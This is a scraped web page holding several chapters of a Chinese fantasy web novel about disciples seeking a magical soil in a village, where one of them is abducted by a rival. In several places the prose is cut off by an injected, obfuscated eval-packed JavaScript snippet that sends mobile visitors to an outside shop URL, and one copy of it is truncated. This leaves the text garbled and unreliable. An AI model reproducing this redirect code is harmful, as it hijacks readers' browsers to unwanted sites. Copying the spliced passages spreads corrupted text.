看到图雅进来,他努力想坐起身子,但虚弱的身体支撑不了他这么大的动作。 图雅有些崩溃,一夜之间到底发生了什么,为什么他们一个个都要离自己而去? 她坐在蒙克身边,蒙克冰凉的手挨着她,他的嘴唇颤抖着要说什么。 吉拉有些着急,“图雅,你快听听啊,蒙克有话要和你说。” 图雅机械地弯下身子,听着蒙克的声音。 “图雅,在我心里,你才是我的妻子。” 图雅忍着泪水,“别说这些了,我的巫医还在来的路上,你再等等。” “对不起。”蒙克说完,闭上眼睛,再也没有醒来。 吉拉扑在他身边,放声大哭,“蒙克,蒙克,你醒醒!” 图雅只觉得眼前一片恍惚,这里还是人间吗?怎么感觉自己像是在地狱? 这里不是自己的家乡吗? 为什么她感觉自己从来都不认识这里? 她放开蒙克的手,呆呆地走出帐子。 她路过桑金的尸体,拿帕子擦净了她指甲里的泥土,“你们怎么都走了?” 图雅想起以前的日子,他们四个在草原上骑马的日子。 她闭上桑金的眼睛,继续走着。 但她的双腿酸软,也不知道要去哪里,站起来走了两步,又掉头走向另一边。 耳边所有的声音都被放大,族人的哭喊声,蒙克临终的声音,还有妮娅的声音。 她的发丝随风飘起,满头黑发居然多了半数白发。 闻絮看着图雅,她的心死了,身体也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416429|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑不住了。 她走到图雅身边,摘下自己戴着的护心镜,戴在了图雅的脖子上。 她施了一个小法术,让护心镜牢牢锁在图雅身上。 说再多的话都不如行动,图雅的心已经乱了,她才是那个需要护心镜的人。 图雅察觉到闻絮的动作,摸了摸护心镜,“谢谢。” “你说过,死是很容易的,活着却很难。死是一瞬间的事情,但活是一辈子的事情。我把我的东西给你,你要好好保护着,这块镜子我还会回来取的,到时候记得还我。” 灵舟在黑暗中启动,云牧川也在他们的视线里越来越远。 几人都沉默着没有说话,草原上四个人的爱恨情仇,以三个人的死亡结束。 没有赢家,也没有输家,只有无尽的痛苦。 玉茵问闻絮:“你把护心镜送给图雅,是想用护心镜保护她吗?” 闻絮摇了摇头,“是留个念想,人一旦没有了念想,是活不下去的。” “人活着一定要去做什么吗?” “普通人可以平淡都过完一生,但对于心中存在着这样刻骨铭心的痛的人,是不行的。也许平淡的一天,对于他们是最折磨的,没有在意的人,没有想做的事情,那么死亡将会是最大的兴奋剂。” 闻絮比所有人都清楚这个道理,她留给图雅护心镜,也希望她可以有个念想。 灵舟开了没多久,在一处安静的湖泊前停了下来,几人劳累了太久,都需要好好休息一下。 闻絮和玉茵一起,在灵舟外面布了一层防护罩,几人裹着毯子,在灵舟里休息。 几人足足睡了两天,完颜丰率先饿醒,缠着玉茵起来做饭。 闻絮是被饭菜的香味叫醒的,她睡得很沉,做了很久的梦。 玉茵是几人当中第一个醒来的,草原的饮食几人吃不习惯,确实一直都没有吃饱。 玉茵和完颜丰出去,在附近找了点野果和野菜,灵舟里面存着一些米面,她简单清炒了一盘野菜,熬了一锅粥。 “师妹,醒了吗?起来吃点饭吧。” 明舟刚刚被玉茵叫起来,现在正在帮着盛粥。 没有多余的调料,但是这碗热粥解除了几人的疲惫,连同云牧川的沉重氛围,也被一扫而空。 简单吃了点饭,几人收拾了桌子,拿出了地图。 下一个要去的地方是桃花村,那里是天息壤存在的地方。 40. 桃花村的习俗是耳背吗? 完颜丰看着地图上熟悉的地方,桃花村的方位,“桃花村,这么一个小地方能有天息壤吗?” 玉茵抬起脑袋,“师兄,你去过桃花村吗?” 完颜丰点头,“很久以前去过,那时候我还没上天照宗呢。我在那里当过很久的酒童,那里的桃花酿最是好喝,新年喝的那一壶,是我攒的最后一壶。” 完颜丰主动承担起了带路的任务,桃花村离得不远,就是位置比较偏。 灵舟体积太大,开到一片林子前就不能再前进了。 正是桃花盛开的季节,林子里的桃树上花开得正好,仿佛是一片仙境。 玉茵拿了一个小箩筐,捡了一些落在地上的花瓣,“这些花瓣可以用来做桃花饭,我捡一些来存着。” 玉茵到一颗落花较多的树下,踩到一个绵绵软软的东西。 玉茵没太在意,继续踩着这绵软的东西捡拾。 “哎,你这小妮子,做什么呢!踩着我手了!” 苍老雄浑的声音出来,吓了玉茵一跳,玉茵丢了篮子跑出老远。 桃树下落花的下面,竟然睡着一个老头。 他抖落身上的花瓣,扯着胡子看着玉茵。 “原来是个老爷爷,我还以为是什么妖怪呢。” 玉茵走上前,“老爷爷,你没事吧,我没看到你躺在这里,你没事吧?” 老头睨了玉茵一眼,“没事,倒是你,小姑娘,年纪轻轻的还不如我老爷子眼神好。” 老头背着胳膊就要离开,却突然看到在后面往嘴里塞花瓣的完颜丰。 “哎,这个小伙子很眼熟啊?” 老人试探地问了一句,“小丰?” 完颜丰吐出嘴里的花瓣,猛然听到有人叫自己。 眼前老人的容貌在他脑中有点印象,他试探性地问了一句,“王老伯?” 老人高兴地拍了拍大腿,绕开几人走到完颜丰身前,“哎哟,小丰,我们有七八年没见了吧?你已经长这么大了。” 完颜丰向几人介绍着,“我做酒童时一直暂住在王老伯家,后来去天照宗拜师才离开桃花村的。” 王老伯扫了众人一眼,转头问完颜丰,“小丰啊,过了这么久,怎么突然回来了?” 完颜丰说出他们此行的目的,王老伯听了皱着眉 头,“什么壤?” 完颜丰又大声重复了一遍,“天息壤。” 王老伯摇摇头,“没听过啊,我活了这么久,就不知道桃花村还有什么天息壤啊?” 完颜丰拿出地图,确认上面的地方没有问题,灵舟也是按照罗盘的方向开过来的,就是这个桃花村没问题。 完颜丰不信邪,“王老伯,你再想想,真的没有吗?” 王老伯又想了想,笃定地点点头,“真的没有。” 完颜丰摆出一个微笑,又转头低声说着,“没事,王老伯不知道,村里其他老人应该知道,我们进村以后问问就好了。” 王老伯虽然不知道天息壤的下落,但是对于一行人很是热情。 “小丰,你难得回来一次,就还在老伯家住着吧,还有你的朋友,一起住着吧。” 完颜丰想了想,桃花村就是一个朴素的农村,他们没有住的地方,还要去别人家借住。 王老伯也算是他熟悉的人,直接住着也好。 完颜丰扶着王老伯,一起走到村口的位置。 桃花村还是完颜丰记忆里的模样,没怎么变过。 王老伯的房子倒是变了,他原本的房子旁,又多了一座,还原来的房子紧挨着。 “这是你王大哥的房子,他前些年成婚了,前儿个才生了个大胖小子。” 王老伯的爱人早就去世了,自己带着孩子王大强长大。 王老伯带着人进去,完颜丰和王大强寒暄了几句,屋子角落的女人抱着孩子,听到几人要住下的消息有些不开心。 “大强啊,小丰带着朋友来住几天,你们这边宽敞,让两个姑娘和你媳妇住一屋,你和我,另外两个小伙子去住我那边。” 王大强点点头,角落里抱着孩子的女人拉过王老伯,“爹,家里的粮食本来还不够吃,你又带几个人回来,一家子怎么办,喝西北风吗?” 王老伯没理会儿媳的抱怨,低声说道:“阿香,你别急,小丰给了钱的,这孩子仁义,哪能白住咱家呢?” 阿香有些急切,“给了多少啊?” 王老伯没明说,“这就别问了,足够他们住一个月的了。” 女人撇撇嘴,到一边哄孩子去了。 几人跟着完颜丰一样,叫着王大哥和阿香嫂子。 桃花村民风朴实,日出而作,日落而息,午饭过后,王大强就出去上工了。 “大伯,大强哥还是去酿酒吗?” “对啊,我们也没个别的本事,也就会个酿酒,勉强过日子罢了。” 王老伯收拾着自己的屋子,抱出两床厚点被子放在明舟和完颜丰的床上,“晚上天冷,你们盖着厚点的被子,暖和。” 王老伯拿着扫帚扫着炕,突然想起什么,“小丰啊,你说的那个什么壤,我是没有听过,但是村东头的老张,年轻的时候总是神神叨叨的,不妨你去问问他。” 完颜丰拽着明舟就往村东头走去,下午刚吃了饭,村里的许多村民都在树荫下坐着。 有一些单纯是在闲聊,有一些是在打叶子牌,他们各自在忙各自的事情。 但是有一点,只要有人从他们身边路过,他们就会盯着这些人,直到路过的人消失在他们面前。 明舟自顾自走着,完颜丰拉着他的袖子,示意他慢一点走。 “怎么了,完颜师兄?” “这就是你不懂了吧,村里这些老人才是第一手的情报资源,坐过去多唠唠,就什么都知道了。” 完颜丰凑到一张桌子前,四位老人围坐在桌前,正在专心地下棋。 “嘿,你狡猾得很,我的马又被你吃了。” “哈哈,老梁,你这棋艺可是不行了。” “你别高兴得太早,我这一局还没输呢。” 两位老人的手肘旁,多了两颗围观的脑袋。 等到一局棋下完,那个被叫做老梁的人率先和两人开始唠嗑。 “怎么,年轻人,对我这棋局有说法?” 两人摇摇头,他们不太会下棋,只能稍微看懂一点,哪能在这些老人面前卖弄。 “你们从哪里来得,面孔生得很。” 说到这里,两人起身,恭恭敬敬行了个礼,“晚辈天照宗明舟,晚辈天照宗完颜丰。” 老梁略有兴味地看了两人一眼,“年轻人还文绉绉的,出门还带把剑,你们是修士啊?” 完颜丰侧身,让明舟的脸露出来,“他是剑修,我不是。” 老梁对于剑不感兴趣,冲完颜丰抬了抬下巴,“那你呢,你是学什么的?” “老人家,我是丹修,也就是炼丹的。” 老梁瞬间兴奋起来,连棋局都不管了,“炼丹的,炼丹好啊,你能练长生不老的药吗?” “额,这个不能。” 老梁又把目光放回棋盘上,“看来也不是很厉害啊。” 完颜丰立马从自己的丹药袋子里拿出一粒黑色药丸,“老伯,这个药也好,这个吃了保你一辈子不得风寒。” 老梁的余光看了完颜丰一眼,“那你这个药卖多少钱?” 完颜丰笑了笑,“不要钱。” “那你要什么?” “老伯,我就想问问您,知不知道天息壤在哪里?” “什么壤?” 得,又是一个不知道的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明舟收起笑容,“老伯,你知道天息壤吗?” 老张:“什么?” 明舟扶额,这桃花村的习俗难道是耳背吗? “老伯,你知道什么是天息壤吗?” “嗯,知道。” 淡淡的一句知道,让两人都激动起来。 “老伯,那你能告诉我在哪里吗?” “可以,但是我有三个条件。” 老张收了手,手中的棋局胜局一定,这两个小伙子搅得他心神不宁,原本大好的局势也败光了。 “你先替我把牌钱给了。” 明舟火速掏出钱袋,把老张输的钱递给对面的人。 老张起身,两人就像小跟班跟在后面。 老梁也在后面打趣,“你看,像不像老张之前养得两只小奶狗?” 完颜丰紧接着问,“张老伯,其他两个条件呢?” 老张看向他,“什么两个,不是刚说了三个吗?” 明舟补充道,“刚刚您输的牌钱,不是算一个了吗?” 老张摇摇头,“我可没说,那是你们自愿的。反正我三个条件还没说,你们走吧。” 走是不能走的,好不容易找到一个知道天息壤的人,说什么他们都要赖住老张。 完颜丰嘴比心快,“好,您说吧,有哪三个条件?” 老张也不卖关子,“我先说第一个,今年我答应送村里每一户一坛桃花酒,我一个人做不完,你们过来帮我做。” “好,没问题。”完颜丰看了一下,桃花村是个小村,不过二十几户人家,一人一小坛酒没什么难度。 41. 不认识就对了,认识就不好了 “什么时候开始做?” 老张这时候诧异地看了完颜丰一眼,倒是个行动力强的。 “你们两个人能行吗?” “可以的。”两人拍了拍胸脯。 完颜丰心想,做酒能有什么累的,总比半夜冒雨扛着人一直骑马来得好。 打脸总是来得很快。 “不行,不行不行,老伯你坑我们啊,你这哪是坛,你这分明是缸啊!” 老张进屋指着角落一个硕大的米缸,“我这里有一个坛子,你们先做着,不够了我去地窖拿。” 完颜丰急得都结巴了,“老伯,你别开玩笑了,一户一大缸,他们哪里能喝得完呢?” “喝不完就喂鸡嘛,送得少了显得我小气。” 好一个慷他人之慨。 完颜丰:“老伯,不行,你这是耍赖,你说好了是坛子,这分明是大缸。” “哎呦,天息壤可怎么办,你不要了吗?” “我要啊!” “那就别废话了,抓紧时间。” 老张从屋子里拿出两个满是灰的背篓,吩咐着两人,“先把这两个筐子里的土抖一抖啊,好久不用了,积了一点灰。” 明舟拿起背篓,里面的灰已经积了满满一层,倒出来的时候两人都呛了一声。 这哪是好久不用,这背篓自从出生以来就没用过吧。 “别偷懒啊,快背上,这两个背篓要都装满,不许偷懒啊。” 两人把背篓背起,等待老张出来。 老张从屋子里出来,拍了拍自己身上的灰尘,两手空空就出来了。 “老伯,你的背篓呢?” “我要什么背篓,你们两个干就好了。” 老张一副理所当然的样子,“我是负责监督你们两个的,你们两个年轻人话太多了啊,少说话多做事,快点做完快点去拿天息壤啊。” 好吧,为了天息壤,忍了。 老张的院子后面是一大片桃花林,粉色的桃花开满树枝,门口还有一架梯子。 “行了,就在这里,梯子只有一架,你们凑合用一下,先上去摘吧。” 完颜丰环视了一周,发现没有必要摘啊,风一吹,有些花瓣就会随风而落。 “老伯,没必要摘啊,看我给你演示一下。” 完颜丰走过去抱着树干,手臂发力,狠狠摇了几下。 空中的细小的枝条被摇动起来,桃花也随之簌簌落下,正巧落在他背后的背篓里,就一小会儿的动作,已经有小半篓的花瓣了。 老张急得过来拍开完颜丰的手,“哎呀,你这个孩子一点不懂怜香惜玉,这桃树我种了好久才成,你这一摇,来年我的树就全死了。” 老张呵斥了几句,勒令不许二人用投机取巧的办法,只能一朵朵手动来摘。 明舟一脚踩了一下梯子,另一脚蹬在树干上,然后就坐在了最大的树干上。 他踢过去的那一脚,又引得枝头的花瓣飘然落下。 又得到了老张的一个白眼,还没上树的完颜丰看着老张的脸色,乖乖拿了梯子上去,一朵一朵采着桃花。 看着二人的工作正式开展,老张迈着小步子回到了刚刚的院子。 “这老张长得倒是五大三粗的,做点事儿反倒要求这么多。” 明舟一边答着完颜丰的话,手上的动作也没有停,他的背篓里有原先落入的花瓣,很快就收满一筐。 老张种的这个品种颜色很艳,浓郁的粉色,空气中氤氲着甜甜的香味。 完颜丰摘掉落在头发上的几片花瓣,“你别说,这老张品味还不错,这桃花光是闻着就很香了,做成桃花酒估计更香了。” 两人背着满满两篓桃花回到老张的院子,老张正在院内。 一张青藤编织而成的躺椅摆在院子中央,旁边还摆了一张小木桌,上面一个雅致的小酒壶,还有一个酒杯。 老张闭着眼睛躺在上面,正沐浴在阳光下。 听到二人沉重的脚步声,倒是有一些欣喜,“比我想象得还要快,年轻人就是有力气。” 老张拿起酒杯,细细品咂了一口,桃花酒入口醇香,舌尖上味蕾细胞在疯狂跳跃。 他满意地发出一声“啧”的声音,随后又吩咐二人。 “你们去南边的屋子里面,里边有两个水桶,去挑些水回来,一会儿洗桃花要用。” 两人照做,一人一副扁担,挑着水桶就出去了。 “等等,你们先回来,看你们这身衣服,没走两步就全都脏了,太糟蹋了。” 老张说着起身,去自己住的屋子里面翻找了一通。 明舟看着那个随着老张的动作吱呀作响的柜门,有些担心。 老张拿出两套粗布麻衣递给两人,“去里面换啊,换了衣服再去。” 衣服还算干净,就是样式有点古朴。 明舟犹豫了一秒,还是接过了。 换好衣服,两个人对视了一眼,沉默地挑起扁担走了。 老张在躺椅上满意地点头,“对嘛,这才像一个当地人。” 两个“当地人”去挑水的路上又路过了一群当地人,他们还是在围观路过的人。 “小伙子,去挑水啊。” 两人点头。 然后他们就碰到了出来找他们的玉茵和闻絮。 玉茵在屋子里看了一会儿王老伯的孙子,出来发现两人已经先一步出发了。 于是叫上闻絮,一起到村东头找老张。 还没到老张家里,就看到了两人已经融入桃花村。 原本的衣服被换下,脚上还穿着村里的布鞋,鞋底还踩着新鲜的泥土,一人一个扁担,脸上害哟不知道从哪里蹭了点灰。 要不是闻絮认识两人的脸,不然真以为他们是两个土生土长的村民,吃完饭约着出来一起打水了。 玉茵看着两人的装扮苦笑不得,“才这么一会儿功夫,你们怎么穿成这样了,还挑着扁担,你们被抢劫了?” 完颜丰撸了衣服袖子,傲娇地说:“才没有,我们不但没被抢劫,而且还打听到了天息壤的下落。” 玉茵:“哇,这么快,完颜师兄,还是你厉害,天息壤在哪里啊?” 完颜丰看向身后老张院子的方向,“王老伯和你们说了吧,我们来找老张,他知道天息壤的下落,我们就找来了。但是我们需要先帮他做二十坛桃花酒才可以。” 闻絮走到明舟身边,递给他一块干净的帕子,“你的脸上有灰,给你擦一擦。” 明舟笑嘻嘻的,“我看不到,你帮我擦。” “好。” 闻絮纯白的帕子在明舟脸上拂过,明舟只觉得帕子比桃花的香味还要浓。 帕子沾上灰尘,明舟拉住闻絮的手,“不擦了,都把你的帕子弄脏了。” 闻絮笑道:“帕子不就是用来做这个的吗?” 明舟有些不好意思,“等出去了我再给你买新的。” 完颜丰和玉茵简单说了几句,让两人在原地等着,他们去河边打水,很快就回来。 闻絮低头看了看自己的衣裙,来了没一会儿功夫,脚下已经沾满泥和灰了,样子确实不太好看。 “师姐,要不我们也回去换一身衣服吧。” 两人对了一个眼神,麻溜地原路返回,王家嫂子有几身旧衣服,借给两人穿了。 王家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416431|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂子的衣服有些宽大,两人穿上略显滑稽,只能又借了一条长带子系在腰上。 完颜丰和明舟打完水回来,就看到二人换了一身打扮。 “师妹,你们怎么也换衣服了?” “不是说做桃花酒吗,我和闻絮帮你们一起。” 玉茵胳膊搭在闻絮肩上,朝两人笑着。 四人一起进了老张的院子,老张有些诧异,“你们就出去了一趟,从哪拐的小媳妇?” “老伯,这不是什么小媳妇,这是我们的师姐和师妹,特意来帮我们一起做桃花酿的。” “哦哦。”老张看着新来的两人,满意地点点头,“行,又来两个小姑娘,那看来我的桃花酿很快就可以做好了。” 老张招了招手,自然地叫闻絮和玉茵去屋子里清洗大米,一边自顾自说着,“这几年收成好,就有多余的粮食来酿酒,也算了却我一桩心愿。” 灶上已经架起了一口大锅,一个圆形的巨大蒸屉上面铺好了一圈白布,锅里的水逐渐开始冒起小泡。 闻絮和玉茵一人手拿一个圆形的葫芦瓢,将洗好的大米放入锅中铺平,加入足够的水,盖上了锅盖。 “外面两个,抓紧一点啊,一会儿米饭就要熟了。” 完颜丰有一瞬间的感动,老张还是有点良心的,还知道留人吃饭。 “没事的,张老伯,我们还不饿,还能再干一会儿。” 他扯着嗓子回了一句。 老张瞪大了眼睛,又用中气十足的声音回过去,“这才什么时辰你就吃饭,我是叫你们快点摘桃花,一会儿饭熟了,桃花也要上锅的。” 完颜丰:“……” 合着这又是自作多情了。 明舟:默默采桃花中。 几人一直忙忙碌碌到晚上,才得到老张的点头,可以休息。 第二天,第三天,几人像是勤劳的小蜜蜂,一直默默耕耘。 “明天记得早点来,你们年轻人觉少,正是努力奋斗的时候。” 闻絮和明舟对视一眼,又问了一句,“张老伯,你说想要我们帮你做三件事,能不能提前透露一下第二件?” 老张用袖子擦了擦嘴角的饭粒,思考一瞬,出声回答,“也不是不行,我也不是会故意为难你们的人,这第二件事情嘛,明天早上来了我就告诉你们。” 几人没得到回答,拖着疲惫的身躯回到了王老伯家。 深夜,一个穿着斗篷的男子叩响了张老伯的院门。 院子里一片黑乎乎的,伸手不见五指,死一般的寂静。 老张的声音从屋子里传来,“谁啊,这么晚还来?” 没有得到回答。 老张本不想再理会,在床上翻了一个身,继续闭上了眼睛。 但屋外的敲门声依旧没有停止,老张又问了一句,“谁啊?” 还是没有人回答。 老张的火气蹭一下就起来了,他随手捞起一件衣服套在身上,他倒要看看现在是哪个小兔崽子在外面。 老张提着一盏不亮的灯走出来,拿走横放在院门上的木棍,打开了院门。 一个身形高挑的男子直直地站在门外,他的脸被斗篷遮得死死的,看不清面容。 “你谁啊,有没有礼貌,大晚上一直敲门,问你是谁,你还不理,我非得看看你是谁!” 老张话刚说完,就看到面前的男子抬起头来,露出一个微笑,“好啊,让你仔细看看就是了。” 老张看着眼前摘下帷帽的男子,一张俊朗但是陌生的脸,迷茫地发问,“我不认识你啊,你是谁啊?” 只听男子自顾自笑了一声,“不认识就对了,认识就麻烦了。” 42. 鹤怀真的字迹 他一抬手,老张只觉眼前一阵发白,眩晕的感觉袭来,身子发软,直直就要向地上倒去。 男人扶了老张一把,让他坐在门槛上,进了屋子,留下了一张字条。 “若要见老张,明天戌时,让玉茵一个人到桃花村西边的林子里来,其他人不许来,否则我就杀了老张,你们也别想得到你们要的东西。” 纸条大喇喇地摆在桌子正中间,颇有一股挑衅的意味在里面。 第二日清晨,被鸡叫吵醒的完颜丰拉着明舟提前到了老张家里。 他手里还拿着两张热乎的饼,他想着给老张送点饭,兴许今天老张就不会为难他们了。 只见老张的大门大开着,院子里也没有见到人影。 “张老伯,你在家吗?” 接连喊了两声,都无人应答,明舟和完颜丰直接进了屋子,屋子里依旧没有人在,反倒让他们看到了那张字条。 完颜丰看到字条上的自己,眉头蹙起,“这个字迹,很是眼熟啊,但怎么一时之间想不起来是谁的字啊?” “完颜师兄,我们先把字条带回去吧,让闻絮和玉茵师姐看看。” “好。” 见到字条的第一眼,玉茵立马就认了出来,“我知道,这是鹤怀真的字迹。宗门大比前,他和其他弟子一起赌这届的第一名,他亲手写了自己的名字,这肯定是他的字,我不会认错的。” “他怎么会跟来,还知道我们想要什么?”完颜丰盯着那张纸条,眉头还是皱巴巴的。 玉茵猜想:“难道他觉得输给我很没有面子,要报复我吗?这个男人,未免心眼也太小了吧。” 闻絮第一个不同意,“师姐,你不能一个人去,太危险了,我们还不知道他的用意是什么。” 玉茵拍了拍闻絮的手,“一会儿我们先向师傅传讯,至于单独去这件事,你们远远跟在我的后面就是了。” 夜幕时分,月亮高高挂在枝头之上,桃花村的灯火逐渐熄灭,村子里的人渐渐进入了梦乡。 明舟留下来保护王老伯一家,完颜丰守在了桃花村的入口处。 玉茵在自己身上带了好多装备,按照约定好的时间向西边的林子走去。 闻絮拿着寒光,默默跟在后方,放出微弱的灵力用神识探测周围的危险。 黑暗中逐渐只能听到玉茵的脚步声,闻絮的步子放得很轻,不知不觉中,两人的脚步声中又多了一人的脚步。 玉茵进入林子后,开始四处寻找鹤怀真,“鹤怀真,我一个人来了,你赶紧把张老伯放了,你一个大男人,别躲在暗处装神弄鬼的。” “呵。” 一声嗤笑过后,树林里玉茵头顶一阵风传来,蓝衣男子飘然而下,笑盈盈地站在玉茵对面。 “怎么了,我的大小姐,我不过是跟你开个玩笑,如今脾气怎么这么大了?” 玉茵看着鹤怀真的的笑脸,翻了一个白眼,这人怎么这么说话,自己跟他有很熟吗? “张老伯呢?你把他藏在哪里了?” 玉茵说着将手抬起来,伸到鹤怀真面前。 鹤怀真还以为自己会收到玉茵的一个巴掌,但没想到玉茵只是气鼓鼓地伸出手,等着自己把人交出来。 他看着眼前女子单纯的眼睛,又忍不住笑了出来,“我很好奇,你今日用的是什么香粉?” 玉茵猛地将手抽回来,怒斥,“你这个登徒子,日后我定要让我师傅好好教训你!” 鹤怀真笑着用扇子轻扇了两下,“别急嘛,跟你开个玩笑而已,又生气了,我要那个老头做什么,我就是想见你一面而已。” “行,你已经见过我了,可以告诉我张老伯被你穿藏在哪里了吧?” “可以是可以,你先让你那个凶巴巴的师妹退后,我感觉我一会儿会被打得很惨的,你忍心吗?” 玉茵一惊,闻絮已经离得很远了,还是被发现了。 她挥出一道灵力向闻絮传讯,说自己可以应付得来。 闻絮象征性地后退两步,但手里还是紧紧握着寒光,如果鹤怀真再敢言语不敬,乱动手动脚,她是一定要给他一个教训的。 鹤怀真向前走了两步,和玉茵之间的距离一下子拉得很近。 “准备好了吗?” 说完,以两人为中心的半径为十米的圆圈中亮起金光,另外从中心发出一道金光,直冲着闻絮而去,但又在闻絮脚边停下。 玉茵下意识抬手想要阻止,却看到闻絮脚边那道金光处出现了一个黑影——是被鹤怀真捆起来的张老伯。 闻絮瞬间明白过来,这是传送阵,下一秒她又立刻反应过来。 不好,玉茵已经在阵里了。 她想提剑毁阵,但玉茵正在阵中心,鹤怀真得意地向闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416432|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮挥挥手,“再见了小师妹!等你找到我们哦!” 又是这样熟悉而又挑衅的语气,伴随着一道金光,玉茵和鹤怀真都消失了。 闻絮抬脚想要再追,身后的老张吐出塞在嘴里的破布,剧烈地咳嗽起来。 “咳咳咳,闺女,你别走,我还被绑着呢,你快来救救我啊!” 没办法,闻絮只能先帮张老伯解绑,他被一直绑着,手脚的血液没有流通,嘴唇已经有些发紫,脸色也不是很好了。 还是救人要紧,既然鹤怀真敢露面,就凭天照宗和景原的声名,料想他也不敢对玉茵怎么样,起码性命无忧。 闻絮紧急向完颜丰传讯,让他回来帮忙看看张老伯的情况。 张老伯被扶着回到了自己的房间,虚弱地躺在床上。 他的嘴唇干到发裂,闻絮扶着他的脊背喂了他一些水。 “对不起张老伯,这次是我们连累了你,和你无关却让你无辜受害了,是我们的错。我们会照顾你,等你好起来,答应你的事情我们也会做到,天息壤对于我们很重要。” 张老伯点点头,“闺女,我知道,你放心,你们帮我做完三件事,我就告诉你们天息壤在哪里,我老头子说话算话。” 完颜丰又喂老张吃了一颗丹药,让他闭上眼睛休息。 关上门,仅剩的三人出来说话,“还好,没什么大事,只是张老伯年纪大了,折腾了这一遭,还是要卧床好好休息几天了。” 闻絮点点头,“这几天你们先留下来照顾老伯吧,至于玉茵师姐,鹤怀真的传送阵去不了很远的地方,天亮后我到桃花村附近找一找。” “混蛋,你要带我去哪里?”玉茵在林子里被鹤怀真拉住了手,被传送阵带到了另一个地方。 玉茵看不出这是哪里,她提剑想要和鹤怀真比拼一番,却使不出力气来。 “你对我做了什么?我的灵力呢,怎么完全使不出来了?” 鹤怀真看着玉茵发软的身体,直接停下来打横将玉茵抱起来,飞快地走着。 玉茵更加着急了,这个混蛋不说话,反而对自己动手动脚,自己现在没有灵力,还是很危险的。 她使不出力气,只能抓住鹤怀真垂下来的几缕头发,用尽力气抓着。 鹤怀真吃痛地叫了一声,但手中得力气还是没有松懈,他抱着玉茵的手还是一直在用力。 43. 我强迫你,你嫁给我 玉茵抓着他的头发的手也逐渐失去力气,整个人无力地靠在他的怀里。 鹤怀真将玉茵带到了桃花村外附近的一处镇子上,租了一个小院子,而且在院子外设置了阵法,一旦有人想要闯入,他就可以立马察觉。 他抱着玉茵进了屋子,将玉茵放在凳子上,玉茵一手扶在桌子上,一手撑着凳子。 鹤怀真拉出一旁的凳子,也坐了下来。 他拿起桌上的茶壶,倒了小半杯水,又在里面放了一颗丹药,红色的丹药在水中化开,他又抬手添了一点水进去。 “喝吧,我在阵法里加了一些东西,你的灵力暂时使不出来,喝了这杯水能好一点。” “呸,我不喝,谁知道你在里面放了什么东西?” 鹤怀真看着玉茵发怒的眼睛,有些无奈地摇了摇头。 “你这么想我,我可就太伤心了。” 他拿起杯子,当着玉茵的面喝了一小口,他的唇色也因为沾染上这杯“血水”而变得艳丽起来。 鹤怀真本就是风情的长相,这抹唇色则显得更加勾人。 玉茵摇了摇头,不能被眼前这个男人的容貌迷惑,就算长得再好看,心是黑的也不行。 “我喝了,这下你可以放心了吗?” 玉茵偏过头,不去看鹤怀真。 鹤怀真也不恼,拿着杯子的手也没有放下,“你要是自己不喝,那只能我喂你喝了,你说我是拿着杯子喂你喝呢,还是先喝到我嘴里,再喂给你喝呢?” 玉茵被他的说法恶心到,“你这个死变态,你在说什么呢?恶不恶心啊!” 对面的男人依旧保持微笑,玉茵妥协,“你笑什么呢,你不许笑了,我喝就是了。” 鹤怀真向前递了一下杯子,但是玉茵不接,“你放桌子上,我自己会拿!” 杯子被男人骨节分明的手指放在桌上,玉茵假意拿起杯子,将杯沿靠近嘴边,但嘴角依旧没有张开。 她用自己宽大的袖子挡着,杯中的液体顺着袖口流下去。 但这种拙劣的伎俩一眼就被鹤怀真看穿了,“玉茵,看来你是想让我嘴对嘴喂你了?” 他的声音很轻,但语调上扬,带着一股不可莫测的威胁。 玉茵被他声音里的冷意吓了一跳,“你个疯子!” 玉茵小声暗骂了一句,只能默默喝下了杯子里的液体。 喝完后两人静静地对坐着,鹤怀真一直盯着玉茵的脸看,玉茵扭过头,不欲和他对视。 但她也慢慢感受到自己身体的变化,原来发软的四肢逐渐开始恢复力气。 玉茵依旧没好气地瞪了鹤怀真一眼,“你就是给了喝了这个我也不会感谢你的,要不是因为你暗地里坑害我,我也不需要喝这个东西。” 鹤怀真换了一个姿势,将胳膊拄在桌子上,撑着脑袋,听着玉茵的控诉。 他还是没有回应。 